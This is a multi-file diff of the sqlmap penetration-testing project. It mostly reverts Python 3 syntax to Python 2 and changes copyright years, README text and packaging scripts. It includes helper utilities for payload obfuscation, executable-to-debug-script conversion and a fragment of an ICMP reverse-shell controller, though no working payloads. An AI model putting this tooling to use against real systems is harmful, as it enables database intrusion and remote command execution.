* Інструкція користувача: https://github.com/sqlmapproject/sqlmap/wiki
|
||||
* Поширенні питання (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||
* Twitter: [@sqlmap](https://twitter.com/sqlmap)
|
||||
* Демо: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos)
|
||||
* Скриншоти: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||
@@ -1,6 +1,6 @@
|
||||
# sqlmap
|
||||
|
||||
[](https://travis-ci.org/sqlmapproject/sqlmap) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://badge.fury.io/py/sqlmap) [](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [](https://twitter.com/sqlmap)
|
||||
[](https://api.travis-ci.org/sqlmapproject/sqlmap) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://twitter.com/sqlmap)
|
||||
|
||||
sqlmap 是一个开源的渗透测试工具，可以用来自动化的检测，利用SQL注入漏洞，获取数据库服务器的权限。它具有功能强大的检测引擎,针对各种不同类型数据库的渗透测试的功能选项，包括获取数据库中存储的数据，访问操作系统文件甚至可以通过外带数据连接的方式执行操作系统命令。
|
||||
|
||||
@@ -20,7 +20,7 @@ sqlmap 是一个开源的渗透测试工具，可以用来自动化的检测，
|
||||
|
||||
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
|
||||
|
||||
sqlmap 可以运行在 [Python](http://www.python.org/download/) **2.6**, **2.7** 和 **3.x** 版本的任何平台上
|
||||
sqlmap 可以运行在 [Python](http://www.python.org/download/) **2.6.x** 和 **2.7.x** 版本的任何平台上
|
||||
|
||||
使用方法
|
||||
----
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
||||
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
||||
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
|
||||
@@ -3,11 +3,12 @@
|
||||
"""
|
||||
beep.py - Make a beep sound
|
||||
|
||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
||||
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
import os
|
||||
import subprocess
|
||||
import sys
|
||||
import wave
|
||||
|
||||
@@ -15,11 +16,11 @@ BEEP_WAV_FILENAME = os.path.join(os.path.dirname(__file__), "beep.wav")
|
||||
|
||||
def beep():
|
||||
try:
|
||||
if sys.platform == "nt":
|
||||
if subprocess.mswindows:
|
||||
_win_wav_play(BEEP_WAV_FILENAME)
|
||||
elif sys.platform == "darwin":
|
||||
_mac_beep()
|
||||
elif sys.platform.startswith("linux"):
|
||||
elif sys.platform == "linux2":
|
||||
_linux_wav_play(BEEP_WAV_FILENAME)
|
||||
else:
|
||||
_speaker_beep()
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
||||
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
|
||||
@@ -3,28 +3,24 @@
|
||||
"""
|
||||
cloak.py - Simple file encryption/compression utility
|
||||
|
||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
||||
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
from __future__ import print_function
|
||||
|
||||
import os
|
||||
import struct
|
||||
import sys
|
||||
import zlib
|
||||
|
||||
from optparse import OptionError
|
||||
from optparse import OptionParser
|
||||
|
||||
if sys.version_info >= (3, 0):
|
||||
xrange = range
|
||||
|
||||
def hideAscii(data):
|
||||
retVal = b""
|
||||
retVal = ""
|
||||
for i in xrange(len(data)):
|
||||
value = data[i] if isinstance(data[i], int) else ord(data[i])
|
||||
retVal += struct.pack('B', value ^ (127 if value < 128 else 0))
|
||||
if ord(data[i]) < 128:
|
||||
retVal += chr(ord(data[i]) ^ 127)
|
||||
else:
|
||||
retVal += data[i]
|
||||
|
||||
return retVal
|
||||
|
||||
@@ -41,9 +37,8 @@ def decloak(inputFile=None, data=None):
|
||||
data = f.read()
|
||||
try:
|
||||
data = zlib.decompress(hideAscii(data))
|
||||
except Exception as ex:
|
||||
print(ex)
|
||||
print('ERROR: the provided input file \'%s\' does not contain valid cloaked content' % inputFile)
|
||||
except:
|
||||
print 'ERROR: the provided input file \'%s\' does not contain valid cloaked content' % inputFile
|
||||
sys.exit(1)
|
||||
finally:
|
||||
f.close()
|
||||
@@ -64,11 +59,11 @@ def main():
|
||||
if not args.inputFile:
|
||||
parser.error('Missing the input file, -h for help')
|
||||
|
||||
except (OptionError, TypeError) as ex:
|
||||
parser.error(ex)
|
||||
except (OptionError, TypeError), e:
|
||||
parser.error(e)
|
||||
|
||||
if not os.path.isfile(args.inputFile):
|
||||
print('ERROR: the provided input file \'%s\' is non existent' % args.inputFile)
|
||||
print 'ERROR: the provided input file \'%s\' is non existent' % args.inputFile
|
||||
sys.exit(1)
|
||||
|
||||
if not args.decrypt:
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
||||
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
|
||||
@@ -3,14 +3,13 @@
|
||||
"""
|
||||
dbgtool.py - Portable executable to ASCII debug script converter
|
||||
|
||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
||||
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
from __future__ import print_function
|
||||
|
||||
import os
|
||||
import sys
|
||||
import struct
|
||||
|
||||
from optparse import OptionError
|
||||
from optparse import OptionParser
|
||||
@@ -20,7 +19,7 @@ def convert(inputFile):
|
||||
fileSize = fileStat.st_size
|
||||
|
||||
if fileSize > 65280:
|
||||
print("ERROR: the provided input file '%s' is too big for debug.exe" % inputFile)
|
||||
print "ERROR: the provided input file '%s' is too big for debug.exe" % inputFile
|
||||
sys.exit(1)
|
||||
|
||||
script = "n %s\nr cx\n" % os.path.basename(inputFile.replace(".", "_"))
|
||||
@@ -33,7 +32,7 @@ def convert(inputFile):
|
||||
fileContent = fp.read()
|
||||
|
||||
for fileChar in fileContent:
|
||||
unsignedFileChar = fileChar if sys.version_info >= (3, 0) else ord(fileChar)
|
||||
unsignedFileChar = struct.unpack("B", fileChar)[0]
|
||||
|
||||
if unsignedFileChar != 0:
|
||||
counter2 += 1
|
||||
@@ -60,7 +59,7 @@ def convert(inputFile):
|
||||
|
||||
def main(inputFile, outputFile):
|
||||
if not os.path.isfile(inputFile):
|
||||
print("ERROR: the provided input file '%s' is not a regular file" % inputFile)
|
||||
print "ERROR: the provided input file '%s' is not a regular file" % inputFile
|
||||
sys.exit(1)
|
||||
|
||||
script = convert(inputFile)
|
||||
@@ -71,7 +70,7 @@ def main(inputFile, outputFile):
|
||||
sys.stdout.write(script)
|
||||
sys.stdout.close()
|
||||
else:
|
||||
print(script)
|
||||
print script
|
||||
|
||||
if __name__ == "__main__":
|
||||
usage = "%s -i <input file> [-o <output file>]" % sys.argv[0]
|
||||
@@ -87,8 +86,8 @@ if __name__ == "__main__":
|
||||
if not args.inputFile:
|
||||
parser.error("Missing the input file, -h for help")
|
||||
|
||||
except (OptionError, TypeError) as ex:
|
||||
parser.error(ex)
|
||||
except (OptionError, TypeError), e:
|
||||
parser.error(e)
|
||||
|
||||
inputFile = args.inputFile
|
||||
outputFile = args.outputFile
|
||||
|
||||
@@ -22,6 +22,7 @@
|
||||
import os
|
||||
import select
|
||||
import socket
|
||||
import subprocess
|
||||
import sys
|
||||
|
||||
def setNonBlocking(fd):
|
||||
@@ -36,7 +37,7 @@ def setNonBlocking(fd):
|
||||
fcntl.fcntl(fd, fcntl.F_SETFL, flags)
|
||||
|
||||
def main(src, dst):
|
||||
if sys.platform == "nt":
|
||||
if subprocess.mswindows:
|
||||
sys.stderr.write('icmpsh master can only run on Posix systems\n')
|
||||
sys.exit(255)
|
||||
|
||||
@@ -127,7 +128,7 @@ def main(src, dst):
|
||||
try:
|
||||
# Send it to the target host
|
||||
sock.sendto(ip.get_packet(), (dst, 0))
|
||||
except socket.error as ex:
|
||||
except socket.error, ex:
|
||||
sys.stderr.write("'%s'\n" % ex)
|
||||
sys.stderr.flush()
|
||||
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
||||
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
|
||||
@@ -3,12 +3,10 @@
|
||||
"""
|
||||
safe2bin.py - Simple safe(hex) to binary format converter
|
||||
|
||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
||||
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
from __future__ import print_function
|
||||
|
||||
import binascii
|
||||
import re
|
||||
import string
|
||||
@@ -18,15 +16,6 @@ import sys
|
||||
from optparse import OptionError
|
||||
from optparse import OptionParser
|
||||
|
||||
if sys.version_info >= (3, 0):
|
||||
xrange = range
|
||||
text_type = str
|
||||
string_types = (str,)
|
||||
unichr = chr
|
||||
else:
|
||||
text_type = unicode
|
||||
string_types = (basestring,)
|
||||
|
||||
# Regex used for recognition of hex encoded characters
|
||||
HEX_ENCODED_CHAR_REGEX = r"(?P<result>\\x[0-9A-Fa-f]{2})"
|
||||
|
||||
@@ -34,7 +23,7 @@ HEX_ENCODED_CHAR_REGEX = r"(?P<result>\\x[0-9A-Fa-f]{2})"
|
||||
SAFE_ENCODE_SLASH_REPLACEMENTS = "\t\n\r\x0b\x0c"
|
||||
|
||||
# Characters that don't need to be safe encoded
|
||||
SAFE_CHARS = "".join([_ for _ in string.printable.replace('\\', '') if _ not in SAFE_ENCODE_SLASH_REPLACEMENTS])
|
||||
SAFE_CHARS = "".join(filter(lambda _: _ not in SAFE_ENCODE_SLASH_REPLACEMENTS, string.printable.replace('\\', '')))
|
||||
|
||||
# Prefix used for hex encoded values
|
||||
HEX_ENCODED_PREFIX = r"\x"
|
||||
@@ -57,17 +46,15 @@ def safecharencode(value):
|
||||
|
||||
retVal = value
|
||||
|
||||
if isinstance(value, string_types):
|
||||
if any(_ not in SAFE_CHARS for _ in value):
|
||||
if isinstance(value, basestring):
|
||||
if any([_ not in SAFE_CHARS for _ in value]):
|
||||
retVal = retVal.replace(HEX_ENCODED_PREFIX, HEX_ENCODED_PREFIX_MARKER)
|
||||
retVal = retVal.replace('\\', SLASH_MARKER)
|
||||
|
||||
for char in SAFE_ENCODE_SLASH_REPLACEMENTS:
|
||||
retVal = retVal.replace(char, repr(char).strip('\''))
|
||||
|
||||
for char in set(retVal):
|
||||
if not (char in string.printable or isinstance(value, text_type) and ord(char) >= 160):
|
||||
retVal = retVal.replace(char, '\\x%02x' % ord(char))
|
||||
retVal = reduce(lambda x, y: x + (y if (y in string.printable or isinstance(value, unicode) and ord(y) >= 160) else '\\x%02x' % ord(y)), retVal, (unicode if isinstance(value, unicode) else str)())
|
||||
|
||||
retVal = retVal.replace(SLASH_MARKER, "\\\\")
|
||||
retVal = retVal.replace(HEX_ENCODED_PREFIX_MARKER, HEX_ENCODED_PREFIX)
|
||||
@@ -83,13 +70,13 @@ def safechardecode(value, binary=False):
|
||||
"""
|
||||
|
||||
retVal = value
|
||||
if isinstance(value, string_types):
|
||||
if isinstance(value, basestring):
|
||||
retVal = retVal.replace('\\\\', SLASH_MARKER)
|
||||
|
||||
while True:
|
||||
match = re.search(HEX_ENCODED_CHAR_REGEX, retVal)
|
||||
if match:
|
||||
retVal = retVal.replace(match.group("result"), unichr(ord(binascii.unhexlify(match.group("result").lstrip("\\x")))))
|
||||
retVal = retVal.replace(match.group("result"), (unichr if isinstance(value, unicode) else chr)(ord(binascii.unhexlify(match.group("result").lstrip("\\x")))))
|
||||
else:
|
||||
break
|
||||
|
||||
@@ -99,7 +86,7 @@ def safechardecode(value, binary=False):
|
||||
retVal = retVal.replace(SLASH_MARKER, '\\')
|
||||
|
||||
if binary:
|
||||
if isinstance(retVal, text_type):
|
||||
if isinstance(retVal, unicode):
|
||||
retVal = retVal.encode("utf8")
|
||||
|
||||
elif isinstance(value, (list, tuple)):
|
||||
@@ -121,11 +108,11 @@ def main():
|
||||
if not args.inputFile:
|
||||
parser.error('Missing the input file, -h for help')
|
||||
|
||||
except (OptionError, TypeError) as ex:
|
||||
parser.error(ex)
|
||||
except (OptionError, TypeError), e:
|
||||
parser.error(e)
|
||||
|
||||
if not os.path.isfile(args.inputFile):
|
||||
print('ERROR: the provided input file \'%s\' is not a regular file' % args.inputFile)
|
||||
print 'ERROR: the provided input file \'%s\' is not a regular file' % args.inputFile
|
||||
sys.exit(1)
|
||||
|
||||
f = open(args.inputFile, 'r')
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
#!/bin/bash
|
||||
|
||||
# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
||||
# Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/)
|
||||
# See the file 'LICENSE' for copying permission
|
||||
|
||||
# Removes trailing spaces from blank lines inside project files
|
||||
|
||||
@@ -1,14 +0,0 @@
|
||||
#!/bin/bash
|
||||
|
||||
# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
||||
# See the file 'LICENSE' for copying permission
|
||||
|
||||
# Stress test against Python3
|
||||
|
||||
export SQLMAP_DREI=1
|
||||
#for i in $(find . -iname "*.py" | grep -v __init__); do python3 -c 'import '`echo $i | cut -d '.' -f 2 | cut -d '/' -f 2- | sed 's/\//./g'`''; done
|
||||
for i in $(find . -iname "*.py" | grep -v __init__); do PYTHONWARNINGS=all python3.7 -m compileall $i; done
|
||||
unset SQLMAP_DREI
|
||||
source `dirname "$0"`"/junk.sh"
|
||||
|
||||
# for i in $(find . -iname "*.py" | grep -v __init__); do timeout 10 pylint --py3k $i; done 2>&1 | grep -v -E 'absolute_import|No config file'
|
||||
@@ -1,30 +1,27 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
||||
# Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
|
||||
# See the file 'LICENSE' for copying permission
|
||||
|
||||
# Removes duplicate entries in wordlist like files
|
||||
|
||||
from __future__ import print_function
|
||||
|
||||
import sys
|
||||
|
||||
if __name__ == "__main__":
|
||||
if len(sys.argv) > 1:
|
||||
items = list()
|
||||
if len(sys.argv) > 0:
|
||||
items = list()
|
||||
|
||||
with open(sys.argv[1], 'r') as f:
|
||||
for item in f:
|
||||
item = item.strip()
|
||||
try:
|
||||
str.encode(item)
|
||||
if item in items:
|
||||
if item:
|
||||
print(item)
|
||||
else:
|
||||
items.append(item)
|
||||
except:
|
||||
pass
|
||||
with open(sys.argv[1], 'r') as f:
|
||||
for item in f.readlines():
|
||||
item = item.strip()
|
||||
try:
|
||||
str.encode(item)
|
||||
if item in items:
|
||||
if item:
|
||||
print item
|
||||
else:
|
||||
items.append(item)
|
||||
except:
|
||||
pass
|
||||
|
||||
with open(sys.argv[1], 'w+') as f:
|
||||
f.writelines("\n".join(items))
|
||||
with open(sys.argv[1], 'w+') as f:
|
||||
f.writelines("\n".join(items))
|
||||
|
||||
@@ -1,7 +0,0 @@
|
||||
#!/bin/bash
|
||||
|
||||
# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
||||
# See the file 'LICENSE' for copying permission
|
||||
|
||||
find . -type d -name "__pycache__" -exec rm -rf {} \; &>/dev/null
|
||||
find . -name "*.pyc" -exec rm -f {} \; &>/dev/null
|
||||
@@ -1,8 +0,0 @@
|
||||
#!/bin/bash
|
||||
|
||||
# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
||||
# See the file 'LICENSE' for copying permission
|
||||
|
||||
# sudo pip install modernize
|
||||
|
||||
for i in $(find . -iname "*.py" | grep -v __init__); do python-modernize $i 2>&1 | grep -E '^[+-]' | grep -v range | grep -v absolute_import; done
|
||||
@@ -1,6 +1,7 @@
|
||||
#! /usr/bin/env python
|
||||
|
||||
from __future__ import print_function
|
||||
# Runs pylint on all python scripts found in a directory tree
|
||||
# Reference: http://rowinggolfer.blogspot.com/2009/08/pylint-recursively.html
|
||||
|
||||
import os
|
||||
import sys
|
||||
@@ -8,20 +9,19 @@ import sys
|
||||
def check(filepath):
|
||||
if filepath.endswith(".py"):
|
||||
content = open(filepath, "rb").read()
|
||||
pattern = "\n\n\n".encode("ascii")
|
||||
|
||||
if pattern in content:
|
||||
index = content.find(pattern)
|
||||
print(filepath, repr(content[index - 30:index + 30]))
|
||||
if "\n\n\n" in content:
|
||||
index = content.find("\n\n\n")
|
||||
print filepath, repr(content[index - 30:index + 30])
|
||||
|
||||
if __name__ == "__main__":
|
||||
try:
|
||||
BASE_DIRECTORY = sys.argv[1]
|
||||
except IndexError:
|
||||
print("no directory specified, defaulting to current working directory")
|
||||
print "no directory specified, defaulting to current working directory"
|
||||
BASE_DIRECTORY = os.getcwd()
|
||||
|
||||
print("looking for *.py scripts in subdirectories of '%s'" % BASE_DIRECTORY)
|
||||
print "looking for *.py scripts in subdirectories of ", BASE_DIRECTORY
|
||||
for root, dirs, files in os.walk(BASE_DIRECTORY):
|
||||
if any(_ in root for _ in ("extra", "thirdparty")):
|
||||
continue
|
||||
|
||||
@@ -1,17 +1,6 @@
|
||||
#!/bin/bash
|
||||
|
||||
: '
|
||||
cat > .git/hooks/post-commit << EOF
|
||||
#!/bin/bash
|
||||
|
||||
source ./extra/shutils/postcommit-hook.sh
|
||||
EOF
|
||||
|
||||
chmod +x .git/hooks/post-commit
|
||||
'
|
||||
|
||||
SETTINGS="../../lib/core/settings.py"
|
||||
PYPI="../../extra/shutils/pypi.sh"
|
||||
|
||||
declare -x SCRIPTPATH="${0}"
|
||||
|
||||
@@ -29,6 +18,6 @@ then
|
||||
git tag $NEW_TAG
|
||||
git push origin $NEW_TAG
|
||||
echo "Going to push PyPI package"
|
||||
/bin/bash ${SCRIPTPATH%/*}/$PYPI
|
||||
/bin/bash ${SCRIPTPATH%/*}/pypi.sh
|
||||
fi
|
||||
fi
|
||||
|
||||
@@ -1,22 +1,14 @@
|
||||
#!/bin/bash
|
||||
|
||||
: '
|
||||
cat > .git/hooks/pre-commit << EOF
|
||||
#!/bin/bash
|
||||
|
||||
source ./extra/shutils/precommit-hook.sh
|
||||
EOF
|
||||
|
||||
chmod +x .git/hooks/pre-commit
|
||||
'
|
||||
|
||||
PROJECT="../../"
|
||||
SETTINGS="../../lib/core/settings.py"
|
||||
CHECKSUM="../../txt/checksum.md5"
|
||||
|
||||
declare -x SCRIPTPATH="${0}"
|
||||
|
||||
PROJECT_FULLPATH=${SCRIPTPATH%/*}/$PROJECT
|
||||
SETTINGS_FULLPATH=${SCRIPTPATH%/*}/$SETTINGS
|
||||
CHECKSUM_FULLPATH=${SCRIPTPATH%/*}/$CHECKSUM
|
||||
|
||||
git diff $SETTINGS_FULLPATH | grep "VERSION =" > /dev/null && exit 0
|
||||
|
||||
@@ -24,7 +16,7 @@ if [ -f $SETTINGS_FULLPATH ]
|
||||
then
|
||||
LINE=$(grep -o ${SETTINGS_FULLPATH} -e 'VERSION = "[0-9.]*"')
|
||||
declare -a LINE
|
||||
INCREMENTED=$(python -c "import re, sys, time; version = re.search('\"([0-9.]*)\"', sys.argv[1]).group(1); _ = version.split('.'); _.extend([0] * (4 - len(_))); _[-1] = str(int(_[-1]) + 1); month = str(time.gmtime().tm_mon); _[-1] = '0' if _[-2] != month else _[-1]; _[-2] = month; print sys.argv[1].replace(version, '.'.join(_))" "$LINE")
|
||||
INCREMENTED=$(python -c "import re, sys, time; version = re.search('\"([0-9.]*)\"', sys.argv[1]).group(1); _ = version.split('.'); _.append(0) if len(_) < 3 else _; _[-1] = str(int(_[-1]) + 1); month = str(time.gmtime().tm_mon); _[-1] = '0' if _[-2] != month else _[-1]; _[-2] = month; print sys.argv[1].replace(version, '.'.join(_))" "$LINE")
|
||||
if [ -n "$INCREMENTED" ]
|
||||
then
|
||||
sed -i "s/${LINE}/${INCREMENTED}/" $SETTINGS_FULLPATH
|
||||
@@ -35,3 +27,6 @@ then
|
||||
fi
|
||||
git add "$SETTINGS_FULLPATH"
|
||||
fi
|
||||
|
||||
truncate -s 0 "$CHECKSUM_FULLPATH"
|
||||
cd $PROJECT_FULLPATH && for i in $(find . -name "*.py" -o -name "*.xml" -o -iname "*_" | sort); do git ls-files $i --error-unmatch &>/dev/null && md5sum $i | stdbuf -i0 -o0 -e0 sed 's/\.\///' >> "$CHECKSUM_FULLPATH"; git add "$CHECKSUM_FULLPATH"; done
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
#!/bin/bash
|
||||
|
||||
# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
||||
# Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
|
||||
# See the file 'LICENSE' for copying permission
|
||||
|
||||
# Runs pycodestyle on all python files (prerequisite: pip install pycodestyle)
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
#!/bin/bash
|
||||
|
||||
# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
||||
# Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/)
|
||||
# See the file 'LICENSE' for copying permission
|
||||
|
||||
# Runs py2diatra on all python files (prerequisite: pip install pydiatra)
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
#!/bin/bash
|
||||
|
||||
# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
||||
# Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/)
|
||||
# See the file 'LICENSE' for copying permission
|
||||
|
||||
# Runs pyflakes on all python files (prerequisite: apt-get install pyflakes)
|
||||
find . -wholename "./thirdparty" -prune -o -type f -iname "*.py" -exec pyflakes '{}' \; | grep -v "redefines '_'"
|
||||
find . -wholename "./thirdparty" -prune -o -type f -iname "*.py" -exec pyflakes '{}' \;
|
||||
|
||||
@@ -3,8 +3,6 @@
|
||||
# Runs pylint on all python scripts found in a directory tree
|
||||
# Reference: http://rowinggolfer.blogspot.com/2009/08/pylint-recursively.html
|
||||
|
||||
from __future__ import print_function
|
||||
|
||||
import os
|
||||
import re
|
||||
import sys
|
||||
@@ -19,26 +17,26 @@ def check(module):
|
||||
|
||||
if module[-3:] == ".py":
|
||||
|
||||
print("CHECKING ", module)
|
||||
print "CHECKING ", module
|
||||
pout = os.popen("pylint --rcfile=/dev/null %s" % module, 'r')
|
||||
for line in pout:
|
||||
if re.match(r"\AE:", line):
|
||||
print(line.strip())
|
||||
print line.strip()
|
||||
if __RATING__ and "Your code has been rated at" in line:
|
||||
print(line)
|
||||
print line
|
||||
score = re.findall(r"\d.\d\d", line)[0]
|
||||
total += float(score)
|
||||
count += 1
|
||||
|
||||
if __name__ == "__main__":
|
||||
try:
|
||||
print(sys.argv)
|
||||
print sys.argv
|
||||
BASE_DIRECTORY = sys.argv[1]
|
||||
except IndexError:
|
||||
print("no directory specified, defaulting to current working directory")
|
||||
print "no directory specified, defaulting to current working directory"
|
||||
BASE_DIRECTORY = os.getcwd()
|
||||
|
||||
print("looking for *.py scripts in subdirectories of ", BASE_DIRECTORY)
|
||||
print "looking for *.py scripts in subdirectories of ", BASE_DIRECTORY
|
||||
for root, dirs, files in os.walk(BASE_DIRECTORY):
|
||||
if any(_ in root for _ in ("extra", "thirdparty")):
|
||||
continue
|
||||
@@ -47,6 +45,6 @@ if __name__ == "__main__":
|
||||
check(filepath)
|
||||
|
||||
if __RATING__:
|
||||
print("==" * 50)
|
||||
print("%d modules found" % count)
|
||||
print("AVERAGE SCORE = %.02f" % (total / count))
|
||||
print "==" * 50
|
||||
print "%d modules found" % count
|
||||
print "AVERAGE SCORE = %.02f" % (total / count)
|
||||
|
||||
@@ -16,7 +16,7 @@ cat > $TMP_DIR/setup.py << EOF
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
||||
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
@@ -26,16 +26,10 @@ setup(
|
||||
name='sqlmap',
|
||||
version='$VERSION',
|
||||
description='Automatic SQL injection and database takeover tool',
|
||||
long_description=open('README.rst').read(),
|
||||
long_description_content_type='text/x-rst',
|
||||
long_description='sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester and a broad range of switches lasting from database fingerprinting, over data fetching from the database, to accessing the underlying file system and executing commands on the operating system via out-of-band connections.',
|
||||
author='Bernardo Damele Assumpcao Guimaraes, Miroslav Stampar',
|
||||
author_email='bernardo@sqlmap.org, miroslav@sqlmap.org',
|
||||
url='http://sqlmap.org',
|
||||
project_urls={
|
||||
'Documentation': 'https://github.com/sqlmapproject/sqlmap/wiki',
|
||||
'Source': 'https://github.com/sqlmapproject/sqlmap/',
|
||||
'Tracker': 'https://github.com/sqlmapproject/sqlmap/issues',
|
||||
},
|
||||
download_url='https://github.com/sqlmapproject/sqlmap/archive/$VERSION.zip',
|
||||
license='GNU General Public License v2 (GPLv2)',
|
||||
packages=find_packages(),
|
||||
@@ -67,7 +61,7 @@ cat > sqlmap/__init__.py << EOF
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
||||
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
@@ -81,7 +75,7 @@ cat > README.rst << "EOF"
|
||||
sqlmap
|
||||
======
|
||||
|
||||
|Build Status| |Python 2.6|2.7|3.x| |License| |Twitter|
|
||||
|Build Status| |Python 2.6|2.7| |License| |Twitter|
|
||||
|
||||
sqlmap is an open source penetration testing tool that automates the
|
||||
process of detecting and exploiting SQL injection flaws and taking over
|
||||
@@ -122,8 +116,8 @@ If you prefer fetching daily updates, you can download sqlmap by cloning the
|
||||
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
|
||||
|
||||
sqlmap works out of the box with
|
||||
`Python <http://www.python.org/download/>`__ version **2.6**, **2.7** and
|
||||
**3.x** on any platform.
|
||||
`Python <http://www.python.org/download/>`__ version **2.6.x** and
|
||||
**2.7.x** on any platform.
|
||||
|
||||
Usage
|
||||
-----
|
||||
@@ -159,13 +153,13 @@ Links
|
||||
- User's manual: https://github.com/sqlmapproject/sqlmap/wiki
|
||||
- Frequently Asked Questions (FAQ):
|
||||
https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||
- Twitter: https://twitter.com/sqlmap
|
||||
- Twitter: [@sqlmap](https://twitter.com/sqlmap)
|
||||
- Demos: http://www.youtube.com/user/inquisb/videos
|
||||
- Screenshots: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||
|
||||
.. |Build Status| image:: https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master
|
||||
:target: https://api.travis-ci.org/sqlmapproject/sqlmap
|
||||
.. |Python 2.6|2.7|3.x| image:: https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg
|
||||
.. |Python 2.6|2.7| image:: https://img.shields.io/badge/python-2.6|2.7-yellow.svg
|
||||
:target: https://www.python.org/
|
||||
.. |License| image:: https://img.shields.io/badge/license-GPLv2-red.svg
|
||||
:target: https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE
|
||||
@@ -177,6 +171,7 @@ Links
|
||||
EOF
|
||||
sed -i "s/^VERSION =.*/VERSION = \"$VERSION\"/g" sqlmap/lib/core/settings.py
|
||||
sed -i "s/^TYPE =.*/TYPE = \"$TYPE\"/g" sqlmap/lib/core/settings.py
|
||||
sed -i "s/.*lib\/core\/settings\.py/`md5sum sqlmap/lib/core/settings.py | cut -d ' ' -f 1` lib\/core\/settings\.py/g" sqlmap/txt/checksum.md5
|
||||
for file in $(find sqlmap -type f | grep -v -E "\.(git|yml)"); do echo include $file >> MANIFEST.in; done
|
||||
python setup.py sdist upload
|
||||
rm -rf $TMP_DIR
|
||||
rm -rf $TMP_DIR
|
||||
164
extra/shutils/regressiontest.py
Executable file
164
extra/shutils/regressiontest.py
Executable file
@@ -0,0 +1,164 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
